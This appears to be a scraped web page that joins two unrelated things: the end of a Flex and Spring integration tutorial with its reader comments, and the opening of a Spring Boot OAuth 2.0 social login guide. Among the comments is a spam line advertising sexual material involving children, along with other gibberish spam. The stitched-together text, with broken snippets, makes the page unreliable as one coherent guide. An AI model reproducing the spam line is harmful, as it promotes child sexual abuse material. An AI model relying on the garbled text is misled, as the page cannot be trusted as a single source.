environment since you typically don’t use the web compiler. If you get a java.lang.OutOfMemoryError exception while trying to access a sample for the first time, you must increase your heap size. Alternatively, you can compile the application using FlexBuilder or the command line compiler. Example 2: Store/Inventory Management using Flex Remoting. We use an embedded HSQLDB database: the only installation requirement is to copy the HSQLDB driver in your web application classpath (see below). The application has two modules: a database maintenance module, and a customer-facing product catalog with filtering capabilities. Step 1: Copy the application files - Copy hsqldb.jar to {context-root}\WEB-INF\lib. You can download the hsqldb driver at. - Copy ProductDAO.class, SimpleProductDAO.class, SimpleProductDAO$1.class, and Product.class from flex-spring-sdk\bin\flex\samples\spring\store to {context-root}\WEB-INF\classes\flex\samples\spring\store - Copy admin.mxml, ProductForm.mxml, store.mxml, Thumb.mxml, AnimatedTileList.as, Product.as, logo.jpg, store.css and the pic directory from flex-spring-sdk\flex\store to {context-root}\store Step 2: Register Spring Beans - Before registering the Spring beans for this application, open ProductDAO.java, SimpleProductDAO.java and Product.java in flex-spring-sdk\src\flex\samples\spring\store to familiarize yourself with the source code.). - Register the dataSource and productDAOBean beans in applicationContext.xml as follows: Note: If you didn’t unzip flex-spring-sdk in your root directory, adjust the JDBC url accordingly. Step 3: Configure the Flex Remoting Destination - Open remoting-config.xml in {context-root}\WEB-INF\flex. - Add the productService destination as follows: Step 4: Run the Client Application Test the database maintenance module: - Open {context-root}\store\admin.mxml in a code editor and familiarize yourself with the application. - Open a browser, access, and test the application. Test the store module: - Open {context-root}\store\store.mxml in a code editor and familiarize yourself with the application. - Open a browser, access, and test the application. Example 3: Data Management Services In addition to the RPC services used in examples 1 and 2 above, the Flex Data Management Services provide an innovative and very productive approach to synchronize data between the client and the middle-tier. The Flex Data Management Services consist of a client-side API and server-side services: - At the client-side, "managed objects" keep track of changes made to the data, and notify the back-end of these changes. You don’t have to keep track of changes made to the data, nor do you have to invoke remote services to notify the back-end of the changes (create, update, delete) made at the client side. - At the server-side, the Data Service receives the list of changes and passes it to your server-side persistence components. The Data Service also pushes the changes to other clients. This application provides an example of using the Flex Data Management Services with the Spring IoC container. Note: The Flex Data Management Services leverage the Java Transaction API (JTA). If you are using Tomcat, or another servlet container that doesn’t provide a full implementation of the J2EE stack, you have to install a JTA implementation such as JOTM to run this example. Click here for more information. Step 1: Copy the application files - Copy ProductAssembler.class from flex-spring-sdk\bin\flex\samples\spring\store to {context-root}\WEB-INF\classes\flex\samples\spring\store - Copy dms.mxml and Product.as from flex-spring-sdk\flex\dms to {context-root}\dms Step 2: Register Spring Beans - Open ProductAssembler.java in a code editor. Notice that ProductAssembler has a dependency to a ProductDAO object. - Register the productAssemblerBean in applicationContext.xml as follows: Step 3: Configure the Flex Data Management Services Destination - Open data-management-config.xml in {context-root}\WEB-INF\flex. - Add the product destination as follows: Step 4: Run the Client Application - Open {context-root}\dms\dms.mxml in a code editor and familiarize yourself with the application. - Open a browser, access, and test the application. Excellent post. Stick that on the Flex devnet site immediately!! Great Post. The FlexFactory was the piece that I was missing. Thanks for the pointer. Great Job. Thanks for your post. SpringFactory is a life savor i’m missing Great post. I’m very please to see it’s possible to do the integration between Flex and Spring…i wanted to test this with Spring 2 (JPA for the ORM), Apache Derby, Flex 2….SpringFactory is the essential brick that was missing. Congratulations. Thanks for the post. I’m having some issues setting up the first example — it would be useful to have a little more detail on the web.xml, for example. What else should be included? It seems the mapping for mxml to a servlet is necessary but I don’t see this mentioned. Also, do I need to copy jars from the flex data services sdk to the lib directory? Finally, is there a DTD that needs to be declared i the remoting-config.xml and services-config.xml or is the xml you reference sufficient? It is even better if you start the flex servlets as ServletWrappingController’s in your springapp-servlet.xml instead of declaring servlets in the web.xml.. Then u can get advantages over spring’s interceptors and url handlers because everything is managed by spring itself! I didn’t get the sample projects(flex, samples, and flex-admin) metioned in the above article from Flex Data Sevices Installation. could you please suggest how to get those to run this sample application. Good!!!!!!. Thanks for your post Hello Christophe! Thanks for great article, want to add one note about compiling mxml locally, which costs me several hours of headache. For custom app it may need to set -context-root option for local compiler. If not set, player will trigger following exception while trying to access remote destination: RPC Fault faultString=”Send failed” faultCode=”Client.Error.MessageSend” faultDetail=”Channel.Connect.Failed error NetConnection.Call.Failed: HTTP: Status 404″ Hope it helps someone. Hi, I can’t use the data-management-config.xml server part when use the SpringFactory. If I try to define a tag with a tag the following error comes: 15-dic-2006 17:56:37 org.apache.catalina.core.ApplicationContext log GRAVE: StandardWrapper.Throwable flex.messaging.config.ConfigurationException: Unused tags in found. Please fix them before continuing: ‘/server/sync-method’ in destination with id: ‘nacionalidad’ from file: data-management-config.xml at flex.messaging.config.MessagingConfiguration.reportUnusedProperties(MessagingConfiguration.java:432) at flex.messaging.MessageBrokerServlet.init(MessageBrokerServlet.java:110) at org.apache.catalina.core.StandardWrapper.loadServlet(StandardWrapper.java:1105) Someone knows how to enable config for fill, sync methods? Thanks. At $20,000/CPU, yes CPU, I won’t be using Flex Data Services any time soon. Only trivial sites (limited to 1 CPU implementations) will use FDS since they can get the FDS express product. Does anyone even have any single CPU servers anymore? hi i got this error when using data-management-config.xml .the error message followed: flex.messaging.config.ConfigurationException: Destination ‘product’ must specify at least one channel. is any one happened this? Thank you for showing this basic example of integrating Flex and Java(Spring). I’m considering using Flex instead of JavaServer Faces. A very good article. The only issue I see is that the Flex Data Services (FDS) is a very expensive proposition, whereas SOAP and ReST would be free. Is there any other way we can access Spring managed beans on the server without the need of FDS? Hi Christophe Coenraets, I just read your “detialed” article, ‘Using Flex with Spring’ Would it be possible for you to upload a similar article for Struts, like ‘Using Flex with Struts’. PLEASE!!! It really would help a lot of ppl like me. Things like which file needs to be placed where and what all files are needed for modification( in existing struts appl). Coz all these detailed stuff are not mentioned on the adobe site. Thank you. Abhi Hi Christophe, Great job once again! I complete the point Step 2: Register Spring Beans with Data Management Services <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" ""> <beans> <bean id="productDAOBean" class="flex.samples.spring.store.SimpleProductDAO"> <property name="dataSource" ref="myDataSource"/> </bean> <bean id="myDataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource" destroy- <property name="driverClassName" value="org.hsqldb.jdbcDriver"/> <property name="url" value="jdbc:hsqldb:file:…"/> </bean> <bean id="productAssemblerBean" class="flex.samples.spring.store.ProductAssembler"> <property name="productDAO" ref="productDAOBean"/> </bean> </beans> Responding to the folks who mention FDS’s cost as a limitation: Google for: OpenAMF, which is an open source FDS replacement. Same advantages and binary object transmission protocol, but no costs. It would be useful for folks to discuss free/opensource IDE’s for flex? Good luck, curt Nice Site!!! (p)2 Hey, Curt, I googled for “OpenAMF” and found the web site. It looks like there has not been any work been done on it for a while. Is “OpenAMF” a viable way or is there something else? hi ..this blog was extremely useful and i am very happy the way you have clearly mentioned the steps, but am getting a deployment error saying that applicationContext.xml not found in weblogic server even though i added it. hi am getting this exception when doing example 1. [RPC Fault faultString="Send failed" faultCode="Client.Error.MessageSend" faultDetail="Channel.Connect.Failed error undefined url:'rtmp://localhost:7001'"] at mx.rpc::AbstractInvoker/ at mx.rpc::Responder/fault() at mx.rpc::AsyncRequest/fault() at mx.messaging::ChannelSet/::faultPendingSends() at mx.messaging::ChannelSet/channelFaultHandler() at flash.events::EventDispatcher/flash.events:EventDispatcher::dispatchEventFunction() at flash.events::EventDispatcher/dispatchEvent() at mx.messaging::Channel/mx.messaging:Channel::connectFailed() at mx.messaging.channels::PollingChannel/mx.messaging.channels:PollingChannel::connectFailed() at mx.messaging.channels::RTMPChannel/mx.messaging.channels:RTMPChannel::tempStatusHandler() pls help me out.. i am working on this for a long time and i think i have changed something in services-config.xml..can you send the channel definition tag for rtmp hi, Christophe. Nice article, thank you!!! Hi, Christophe. I’m trying to develop an application using spring, hibernate and flex with your Flex Test Drive server. All was running very well but I’m getting an error when trying to save an object: java.lang.ClassCastException : flex.messaging.io.ArrayCollection cannot be cast to java.util.Set I’ve an hibernate map, User.hbm.xml and its related User.java bean. This class has a relantionship with another hibernate entity: User.hbm.xml: User.java: private Collection usersItems; public Collection getUsuariosProductos() { return this.usersItems; } public void setUsuariosProductos(Collection usersItems) { this.usersItems= usersItems; } In the client side, I have the class User.as: [Managed] [RemoteClass(alias="flex.prexon.User")] public class User { … private var usersItems:ArrayCollection; } When I try to save the object, I’m getting this error: java.lang.ClassCastException : flex.messaging.io.ArrayCollection cannot be cast to java.util.Set do you know how to solve it?? Thanks. Yo tambien estoy haciendo pruebas con Flex y Spring … pero estoy usando XStream e Ibatis … y me conecto sin usar Flex Data Services … he colgado el funcionamiento en mi website Roberto Cotrina, Hello! Good Site! Thanks you! bonvlqwnhautii wjvnvwqbr Hello! Good Site! Thanks you! bohpsgjpjjik Hi Christophe, We are using Flex extensively over here and we are currently investigating the use of Flex with Spring and Hibernate backend. I have tried your approach (using the springfactory) and it works very nicely if I have bundle the flex and Java components together in a single web app. However I am wondering whether (and how) the approach would work if the flex and Java components are hosted on different boxes. I am not sure whether the AMF protocol can work across boxes and invoke Java components via the SpringFactory. Could you please let me know if that is the way it is done or do we need to use Spring remoting (RMI etc) to achieve this. Would really appreciate your reply. Great post, Christophe. About arun’s reply: you must add the default-channels in the data-management-config.xml : Sorry this: default-channels channel ref=”my-rtmp”/ /default-channels Great blog. I have taken your explenation and created a maven 2 / eclipse java project. With this project you can mvn war:war and deploy the resulting war to a server with FDS. This war is a complete FDS enabled project with a sample in it. regards, Marc wo Hello, Great article. Any idea on, Acegi security integration? Thanks Matt Very nice job! Any ideas on implementing flex with spring web flow? Regards Martijn free lolita tgp mpegs Honduras all lolitas tgp 9yo little lolitas 12 art nymphets russian lolita tgp archives 5-6yo prettypreteensyoungestbeauties tgp 16 yoschool girls porn Hi Christophe, I’m trying exmaple agaist the just released BlazeDS. However I got the following error: [RPC Fault faultString="[MessagingError message='Destination 'mortgageService' has no channels defined and the application does not define any default channels.']” faultCode=”InvokeFailed” faultDetail=”Couldn’t establish a connection to ‘mortgageService’”] Strange thing is that in remoting-config.xml the following default channel is defined: Any clue? [...] use Spring as the factory, I followed the instructions at Christophe Conraets’ blog and used the SpringFactory written by Jeff Vroom (LiveCycle Data Services architect). Note that [...] SOG knives… Interesting ideas… I wonder how the Hollywood media would portray this?… Hi Cristophe, This article will be very help full for sprig with flex. Can you just tell us how ar you using view resolvers in this (correct me if I ma wrong). Cristophe, We had lots of problems with memory on Tomcat using Flex/Spring/Hiberate until we specified the scope attribute to ‘application’ within the remoting-config.xml file. Stay tuned to our blog for an article about this very problem. - Mike Merchant
http://coenraets.org/blog/flex-spring/
crawl-002
refinedweb
3,341
50.63
Thanks RoSchmi got your little program running fine on a Panda III, but I noticed I wasn’t able to get debug breakpoints to trigger, maybe I am missing something in the project configuration. This is what I have for references: using System; using GHIElectronics.TinyCLR.Devices.Gpio; using GHIElectronics.TinyCLR.Pins; using System.Diagnostics; using System.Threading; John @ jscmanson - this was mentioned in the announcement, breakpoints do not work yet. Congratulations on running your first program. @ jscmanson - Hi, please see under known issues: •Breakpoints and the commands dependent on them (run to cursor, others) do not work. As a work around, add a class library project called mscorlib to your solution and add a project reference to it or insert calls to System.Diagnostics.Debugger.Break. Thanks guys, I don’t need the debugger anyways as I never make any mistakes lol! Looking forward to putting this on the 120 as well, thanks for the great work GHI!! @ jscmanson - as far as i know G120 is not supported yet Hmm, as long as VS2017RC cannot install alongside existing products I guess this is a no-go to me. [3258:000f][2016-12-21T19:43:10] Package 'Win10SDK_10.0.14393.33,version=10.0.14393.3306' failed to install. Command executed: "c:\windows\syswow64\\windowspowershell\v1.0\powershell.exe" -NoLogo -NoProfile -ExecutionPolicy Unrestricted -InputFormat None -Command "& """C:\ProgramData\Microsoft\VisualStudio\Packages\Win10SDK_10.0.14393.33,version=10.0.14393.3306\WinSdkInstall.ps1""" -SetupExe sdksetup.exe -PackageId Win10SDK_10.0.14393.33 -LogFile """C:\Users\njb\AppData\Local\Temp\dd_setup_20161221194201_001_Win10SDK_10.0.14393.33.log""" -SetupParameters """/features OptionId.WindowsSoftwareDevelopmentKit OptionId.WindowsSoftwareLogoToolkit OptionId.NetFxSoftwareDevelopmentKit /quiet /norestart"""; exit $LastExitCode", Return code: -2146889721, Details: The hash value is not correct. Garbage to me. ??? @ njbuch - are you referring to multiple versions of Visual Studio ? I have 2010, 2013, 2015 and 2017RC installed on my Win10 desktop. @ Designer - alright, then at least I know its possible… How do you know that @ Designer isn’t trying to trick you? @ Gary - Uninstalling everything (including all I had clicked on in the candy-store of goodies in the VS installer), and then ONLY choose “.NET Desktop” made it work to me. Tricked or not. :whistle: @ Gary - :naughty: Adding proof I am sure you know how to use Photoshop! :whistle: I actually have installation files for “VS 2014”, if you want to install those and vs 2012 and go nuts I can’t see Visual Studio 6, is that normal :whistle: :whistle: :whistle: @ Gus - you too :naughty: Thanks this is great news! Is there plans on making the TinyCLR OS an open source solution? Thanks again! @ TimHid - we have a good story there, but you are going to have to wait for the next announcement 8) Alright…let’s have it. If this is a hint that you’re giving in to @ TimHid’s request then I’ll have everything I want for Christmas!
https://forums.ghielectronics.com/t/introducing-tinyclr-os-a-new-path-for-our-netmf-devices/203?page=2
CC-MAIN-2018-17
refinedweb
482
50.43
MK-RoBERTa base model Pretrained model on Macedonian language using a masked language modeling (MLM) objective. It was introduced in this paper and first released in this repository. This model is case-sensitive: it makes a difference between скопје and Скопје. Model description RoBERTa is a transformers model pre-trained on a large corpus of мацед data in a self-supervised fashion. This means it was pre-trained on the raw texts only, with no humans labeling them in any way (which is why it can use lots of publicly available data) with an automatic process to generate inputs and labels from those texts. More precisely, it was pre-trained with the Masked language modeling (MLM) objective. Taking a sentence, the model randomly masks 15% of the words in the input then runs. masked language modeling, but it's mostly intended to be fine-tuned on a downstream task. See the model hub to look for fine-tuned versions. How to use You can use this model directly with a pipeline for masked language modeling: \ from transformers import pipeline unmasker = pipeline('fill-mask', model='macedonizer/mk-roberta-base') unmasker("Скопје е \<mask\> град на Македонија.") \ [{'sequence': 'Скопје е главен град на Македонија.', 'score': 0.5900368094444275, 'token': 2782, 'token_str': ' главен'}, {'sequence': 'Скопје е главниот град на Македонија.', 'score': 0.1789761781692505, 'token': 3177, 'token_str': ' главниот'}, {'sequence': 'Скопје е административен град на Македонија.', 'score': 0.01679774932563305, 'token': 9563, 'token_str': ' административен'}, {'sequence': 'Скопје е мал град на Македонија.', 'score': 0.016263898462057114, 'token': 2473, 'token_str': ' мал'}, {'sequence': 'Скопје е најголемиот град на Македонија.', 'score': 0.01312252413481474, 'token': 4271, 'token_str': ' најголемиот'}] \ Here is how to use this model to get the features of a given text in PyTorch: from transformers import RobertaTokenizer, RobertaModel tokenizer = RobertaTokenizer.from_pretrained('macedonizer/mk-roberta-base') model = RobertaModel.from_pretrained('macedonizer/mk-roberta-base') text = "Replace me by any text you'd like." encoded_input = tokenizer(text, return_tensors='pt') output = model(**encoded_input) - Downloads last month - 81
https://huggingface.co/macedonizer/mk-roberta-base
CC-MAIN-2022-33
refinedweb
322
56.15
/Gh (Enable __penter Hook Function) /Gh This option causes a call to the __penter function at the start of every method or function. The __penter function is not part of any library and it is up to you to provide a definition for __penter. Use assembly language to write the function. Unless you plan to explicitly call __penter, you do not need to provide a prototype. The function must appear as if it had the following prototype, and it must push the content of all registers on entry and pop the unchanged content on exit: void __declspec(naked) _cdecl _penter( void ); The following code, when compiled with /Gh shows how __penter is called twice; once when entering function main and x and once when entering function x. #include "stdio.h" void x(){ } void main() { x(); } void __declspec(naked) _cdecl _penter( void ) { _asm { push eax push ebx push ecx push edx push ebp push edi push esi } printf("\nIn a function!"); _asm { pop esi pop edi pop ebp pop edx pop ecx pop ebx pop eax ret } }
https://docs.microsoft.com/en-us/previous-versions/ms856539(v%3Dmsdn.10)
CC-MAIN-2019-26
refinedweb
176
63.43
struts code - Struts struts code In STRUTS FRAMEWORK we have a login form... in with this same page.For this what is the internal cde.how can it validate...:// Thanks struts code - Struts struts code Hi all, i am writing one simple application using struts framework. In this application i thought to bring the different menus of my application in a tree view.Like what we have in window explorer when we click In Struts What is Model? In Struts What is Model? This tutorial explains you What is Model in Struts. Struts is MVC based application and it is separated into three integral parts... of components: Model View and Controller Struts is also based What are Struts? What are Struts? What are Struts? Can anyone explain me what are the Struts framework and what are its uses? Thanks Struts - Struts Struts What is Struts Framework? Hi,Struts 1 tutorial with examples are available at Struts 2 Tutorials with code are available at you..."/> </plug-in> </struts-config> validator...;!-- This file contains the default Struts Validator pluggable are Struts ? what are Struts ? What are struts ?? explain with simple example. The core of the Struts framework is a flexible control layer based..., as well as various Jakarta Commons packages. Struts encourages application code for login fom - Struts code for login fom we have a login form with fields USERNAME: PASSWORD... in with this same page.For this what is the internal cde.how can it validate Struts - Struts in struts 1.1 What changes should I make for this?also write struts-config.xml and jsp code. Code is shown below..., For read more information,Tutorials and Examples on Struts visit to : http What are the core classes of struts? - Struts What are the core classes of struts? What are the core classes of struts what is struts? - Struts what is struts? What is struts?????how it is used n what... of the Struts framework is a flexible control layer based on standard technologies like Java... Commons packages. Struts encourages application architectures based on the Model 2-config.xml - Struts struts-config.xml in struts-config.xml i have seen some code like in this what is the meaning of "{1}". when u used like this? what is the purpose of use what is custom validation in struts what is custom validation in struts what is custom validatons in struts What is Struts - Struts Architecturec What is Struts - Struts Architecture  .... Struts is famous for its robust Architecture and it is being used for developing small and big software projects. Struts is an open source framework used Struts Struts what is SwitchAction What is Struts 2 framework What is Struts 2 framework Hi, I am new to the Java web programming. I have completed JSP, Servlet and HTML. Now I want to learn Struts 2. Tell me what is Struts 2? Thanks Struts(1.3) action code for file upload Struts(1.3) action code for file upload Hi All, I want to upload... application using HttpUrlConnection. How can i write my struts(1.3) action code... request.getInputstream() is return 0 bytes. what is another way to handled request stream in struts what are the 4 methods of struts framework is Struts we have the concept of jsp's and servlets right we can develop the web-pages each and everything then why what for struts inturdouced java - Struts friend. what can i do. In Action Mapping In login jsp Hi friend, You change the same "path" and "action" in code : In Action Mapping In login jsp For read more information on struts Struts What is Struts? Hi hriends, Struts is a web page... web applications quickly and easily. Struts combines Java Servlets, Java Server... developers, and everyone between. Thanks. Hi friends, Struts is a web Struts Struts why in Struts ActionServlet made as a singleton what is the specific reason how it useful in the webapplication development? Basically in Struts we have only Two types of Action classes. 1.BaseActions struts struts i have one textbox for date field.when i selected date from datecalendar then the corresponding date will appear in textbox.i want code for this in struts.plz help me Struts + HTML:Button not workin - Struts :// + HTML:Button not workin Hi, I am new to struts. So pls... is called. JSP code -------- Actionclass Error - Struts Error Hi, I downloaded the roseindia first struts example... create the url for that action then "Struts Problem Report Struts has detected... ----------------------- RoseIndia.Net Struts 2 Tutorial RoseIndia.net Struts 2 HashMap - Struts HashMap Can you please get me an example code for using HashMap in Jsp and what for what purpose it is used struts - Struts Struts dispatchaction vs lookupdispatchaction What is struts dispatchaction and lookupdispatchaction? And they are used to combined what? Hi,Please check easy to follow example at struts the checkbox.i want code in struts struts struts what is separate request processor per module in struts1 struts - Struts Struts ui tags example What is UI Tags in Strus? I am looking for a struts ui tags example. Thanks struts 2 problem with netbeans - Struts for namespace / and action name login.) is not available. here give two code what...struts 2 problem with netbeans i made 1 application in struts2 with netbeans but got one errror like There is no Action mapped for namespace DataBase connection with sql - Struts DataBase connection with sql How to connect sql and send db error in struts? what are the tag should i code in struts-confic.xml STRUTS STRUTS Suppose if you write label message with in your JSP page. But that "add.title" key name was not added in ApplicationResources.properties file? What happens when you run that JSP? What error shows? If it is run <p>hi here is my code can you please help me to solve...; <h1></h1> <p>struts-config.xml</p> <p>...;<struts-config> <form-beans> <form-bean name Struts Warnings ...About FormBeanConfig & about Cancel Forward - Struts Struts Warnings ...About FormBeanConfig & about Cancel Forward Hi Friends... I am trying a very small code samples of Contact Application i... points to the AddressSave Form 2)Address.jsp Containning the Name,Email,Address struts - Struts struts My struts application runs differently in Firefox and IE... What's the problem? I initially viewed it in Firefox.It was OK... But in IE the o/p was different Struts - Overrite of Validate method - Struts Struts - Overrite of Validate method i am trying to display error message on target page,by using this code ..when iam compliling i got errors.so it's not compiling ...pls send what is the resion..and iam using struts 1.3.8. code will help you learn Struts 2.Thanks...Java Bean tags in struts 2 i need the reference of bean tags in struts 2. Thanks! Hello,Here is example of bean tags in struts 2:http Code Problem - Struts Code Problem Sir, am using struts for my application.i want to uses session variable value in action class to send that values as parameter to function.ex.when i login into page,i will welcome with corresponding user homepage Reg struts - Struts struts requestprocessor What is requestprocessor in struts Session expired - Struts Session expired I have write code in struts application. When i run the struts application it report the error session expired How i solve the session expired problem? what are the reasons to expire the session struts - Framework javax.servlet.ServletException: No form found under 'AddressForm' in locale 'en_US'. A form must be defined in the Commons Validator configuration when dynamicJavascript="true struts - Struts struts Hi, I am new to struts.Please send the sample code for login and registration sample code with backend as mysql database.Please send the code immediately. Please its urgent. Regards, Valarmathi Hi Friend... compelete code. thanks Hi friend, Please give details with full source code to solve the problem. Mention the technology you have used Struts - Struts struts Hi, I need the example programs for shopping cart using struts with my sql. Please send the examples code as soon as possible. please send it immediately. Regards, Valarmathi Hi Friend, Please Struts development application - Framework regarding for struts framework,and what is difference b/w validation.xml and validation.... Thanks...Struts development application hi friends, I want a source code problem - Struts code problem hi friends i have 1 doubt regarding how to write the code of opensheet in action class i have done it as the action class code...(); System.out.println(conn); //Code to generate new sheet i.e login time IS NULL Jakarta Struts Interview Questions on the client side. Q: What is Struts Validator Framework...; Q: What is Jakarta Struts Framework... with or without Struts. The Validator framework comes integrated with the Struts-ejb - Struts struts-ejb What is the difference between struts and ejb Struts Projects tested source code and ant build file How to used hibernate in the Struts... Struts project. Download the source code of Struts Hibernate Integration Tutorial... code and integrate it with the Struts. how to handle multiple submit buttons in a single jsp page of a struts application Hi friend, Code to help in solving the problem : In the below code having two submit button's its values code the correct code for a program.The output of the program is listed below... you. WHAT DO YOU WANT TO ORDER! NAME:{Harry Jones} ADDRESS-1: {Apt 4} ADDRESS-2: {Block 5} ADDRESS-3: {San Juan} POST CODE:{6745} ENTER CODE (XX TO stop) CODE struts - Struts struts What is model View Controller architecture in a web application,and why would you use it? Hi mamatha, The main aim of the MVC.... ----------------------------------------------- Read for more information. Struts - Struts Struts Dear Sir , I am very new in Struts and want... to understand but little bit confusion,Plz could u provide the zip for address... and specify the type. 5 6 Zip Code needs to between hi can anyone tell me how can i implement session tracking in struts? please it,s urgent........... session tracking? you mean session management? we can maintain using class HttpSession. the code follows struts - Struts struts What is Model View Controller architecture in a web application,and why would you use the Advantages of Struts the Advantages of Struts What are the Advantages of Struts struts questions struts questions what is purpose of inceptors in struts code code Heris the javascript code.It works ffine but i would like to know what is the meaning of line this.SetData=SetData and next three lines after this(in bold) because when i remove them and try calling the functions via object org.apache.struts.action.ActionMessage cannot be cast to org.apache.struts.action.ActionError - Struts write validation code(validation.xml) for that application,form submit without...; public class AddressAction extends Action { private final static String struts - Struts struts what is the use of debug 2 Hi Friend, This is the parameter that is used to specify the debug level for the ActionServlet class.It is having three values: 0- It does not give any debug information. Tutorials is provided with the example code. Many advance topics like Tiles, Struts Validation.... Using the Struts Validator Follow along as Web development expert Brett... application programming.With the Validator, you can validate input in your Struts Advertisements If you enjoyed this post then why not add us on Google+? Add us to your Circles
http://roseindia.net/tutorialhelp/comment/88773
CC-MAIN-2015-22
refinedweb
1,918
68.16
second episode, Michael explains how to properly uniquely identify Android installations using generated UUIDs, and the downsides of other older methods. Good morning everyone! I am Michael Helmbrecht and I am here to help you navigate Stack Overflow issues affecting mobile development. Today we will be delving into the world of Android. We are going to look at a top Stack Overflow question about uniquely identifying app installs: Is there a unique Android device ID?, as raised by Tyler. Identifying Android App Installations You might want to use this for any of a million number of reasons, but it is pretty common to want to be able to uniquely identify how many installations you have and tell them apart from each other. This has been the source of a little bit of confusion in the Android community for a while. Here we will set the record straight and tell you how to uniquely identify your apps with Android. Get more development news like this When you are looking to uniquely identify installations of your Android app, you have a few different options, each with their own advantages and disadvantages, including hardware identifiers such as Telephony device IDs, serial numbers, MAC addresses, and Android_ID, in addition to your generated UUIDs. Hardware Identifiers The first group are hardware identifiers. A really common one (I have seen lots of places online recommend that you use this), is in the TelephonyManager package. TelephonyManager.getDeviceId() should get you a unique identifier for that device. But there are some issues with this approach: - It is not required on non-phones. Wi-Fi only devices might just not even have this available. - This ID persists across device wipes - if I have this, I wipe my device and give it to a friend, they will be uniquely identified as the same install as me, which you may not want as the developer since they are a whole new user. - It requires READ_PHONE_STATEpermission. For example, when someone is downloading your app off the App Store and all you are doing is uniquely identifying their device, it is weird to need a whole permissions set just to be able to identify their install. Some other hardware identifiers people have suggested are ones where you can get serial numbers, but this actually has the opposite problem of Telephony Manager in that it might not work on phones. Some devices might not have them at all. A third hardware identifier is the MAC address. Again, some devices might not have Wi-Fi, or might not give you the address with Wi-Fi off. All three of these have issues of reliability where under some configurations that are fairly common, these three things will not work. All these hardware identifiers have problems of reliability and availability in all of these really common configurations (phones, not phones, phones with and without certain capabilities), and the Android team released Android_ID to try to fix this. ANDROID_ID Android ID is unique per device and it has the benefit of being unique per profile. In some later versions of Android (i.e. have multiple users per device), it is also supposed to be unique per user. You can really differentiate between people using the same Android device, and it has the benefit of being set one time on the first boot and if you wipe the device then the Android ID is reset. If I give my device to someone else, then they will be counted as a new user for you. Nevertheless, this can have issues as well. It does not work before Android 2.2 (which thankfully nowadays that is pretty much nobody), but there are some major issues where all Droid2s phones (and others) would return the same ID for every device ( 9774d56d682e549c). If you are using the Android ID, you may want to check for this particular string and have some sort of fallback when you encounter it. The Android team themselves wrote a blog post about this a few years ago, and they talked about these issues. They outlined some of the pluses and minuses that they had seen throughout the community. In the end they recommended “do not worry about any of these because, for you and your app, it probably does not really matter if it is a unique hardware, it mostly just matters if it is a unique install.” A really easy way to do that is just to generate a UUID. UUID UUIDs can be generated on first run, saved to a file and then checked at any time to uniquely identify installations. To implement this, we will be working with this little class, called installation (see code below). It has two private variables with sID that starts out as a null. We have this INSTALLATION just to have a unique identifier for the file that we will write. public class Installation { private static String sID = null; private static final String INSTALLATION = "INSTALLATION"; } We will then create a function that will get us back the ID (which will be awesome). If the ID already exists, do not bother creating it, just return it. If the ID does not exist (if it is not already been pulled into memory), we look for a file that uses our constant string. If that file exists, we will just read it and move on. If that file does not exist, then we will generate an ID and write to it.; } } Finally, we add reading and writing methods that interact with the installation file. The read method will get us the previously generated UUID, and the write method creates a file output stream. We have the file handle already, all we are going to do is write to it. ...(); } } We will use the UUID.randomUUID method to generate a random UUID that will tell apart all of our installs. We will of course turn it into a string, and then write it off to our file. To review, we will back up in our ID method. Since we will have just written that, we will immediately read from it. That way all of our paths use the file as the single source of truth and we do not have things in memory possibly conflicting with our file… and then we will be able to return that. Any time you use this (i.e. the first run through your app ever), it will generate the UUID. After that it will just simply read from the file and then within one session of your app, it will just use the in-memory value. In this way you can uniquely identify an install without having to worry about all of the potential hardware issues that some of those other identifiers can have. If you do need the device identified uniquely through the hardware for some reason, the Android_ID method has become more stable since it was released. It is advised that, for those legacy problems, you do have some sort of heuristics for that and some fallbacks (i.e. installation class), but these will give you the tools to uniquely identify installs of your Android app. Good luck! Join Michael in the next TMI to see him tackle more popular mobile development questions. Additional Resources This post is licensed under a Creative Commons BY-SA 3.0 license. About the content This content has been published here with the express permission of the author.
https://academy.realm.io/posts/tmi-identifying-android-app-installations/
CC-MAIN-2018-47
refinedweb
1,238
69.31
This guide shows you how to build a sample app doing various things with "social login" using OAuth 2.0 and Spring Boot. It starts with a simple, single-provider single-sign on, and works up to a client with a choice of authentication providers: GitHub or Google. The samples are all single-page apps using Spring Boot and Spring Security on the back end. They also all use plain jQuery on the front end. But, the changes needed to convert to a different JavaScript framework or to use server-side rendering would be minimal. All samples are implemented using the native OAuth 2.0 support in Spring Boot. There are several samples building on each other, adding new features at each step: simple: a very basic static app with just a home page and unconditional login via Spring Boot’s OAuth 2.0 configuration properties (if you visit the home page, you will be automatically redirected to GitHub). click: adds an explicit link that the user has to click to login. logout: adds a logout link as well for authenticated users. two-providers: adds a second login provider so the user can choose on the home page which one to use. custom-error: adds an error message for unauthenticated users, and a custom authentication based on GitHub’s API. Each app can be imported into an IDE. You can run the main method in SocialApplication to start an app. They all come up with a home page on (and all require that you have at least a GitHub and Google account if you want to log in and see the content). You can also run all the apps on the command line using mvn spring-boot:run or by building the jar file and running it with mvn package and java -jar target/*.jar (per the Spring Boot docs and other available documentation). There is no need to install Maven if you use the wrapper at the top level, e.g. $ cd simple $ ../mvnw package $ java -jar target/*.jar Single Sign On With GitHub In this section, you’ll create a minimal application that uses GitHub for authentication. This will be quite easy by taking advantage of the autoconfiguration features in Spring Boot. Creating a New Project First, you need to create a Spring Boot application, which can be done in a number of ways. The easiest is to go to and generate an empty project (choosing the "Web" dependency as a starting point). Equivalently, do this on the command line: $ mkdir ui && cd ui $ curl -d style=web -d name=simple | tar -xzvf - You can then import that project into your favorite IDE (it’s a normal Maven Java project by default), or just work with the files and mvn on the command line. Add a Home Page In your new project, create index.html in the src/main/resources/static folder. You should add some stylesheets and JavaScript links so the result looks like this: <!doctype html> <html lang="en"> <head> <meta charset="utf-8"/> <meta http- <title>Demo</title> <meta name="description" content=""/> <meta name="viewport" content="width=device-width"/> <base href="/"/> <link rel="stylesheet" type="text/css" href="/webjars/bootstrap/css/bootstrap.min.css"/> <script type="text/javascript" src="/webjars/jquery/jquery.min.js"></script> <script type="text/javascript" src="/webjars/bootstrap/js/bootstrap.min.js"></script> </head> <body> <h1>Demo</h1> <div class="container"></div> </body> </html> None of this is necessary to demonstrate the OAuth 2.0 login features, but it’ll be nice to have a pleasant UI in the end, so you might as well start with some basic stuff in the home page. If you start the app and load the home page, you’ll notice that the stylesheets have not been loaded. So, you need to add those as well by adding jQuery and Twitter Bootstrap: <dependency> 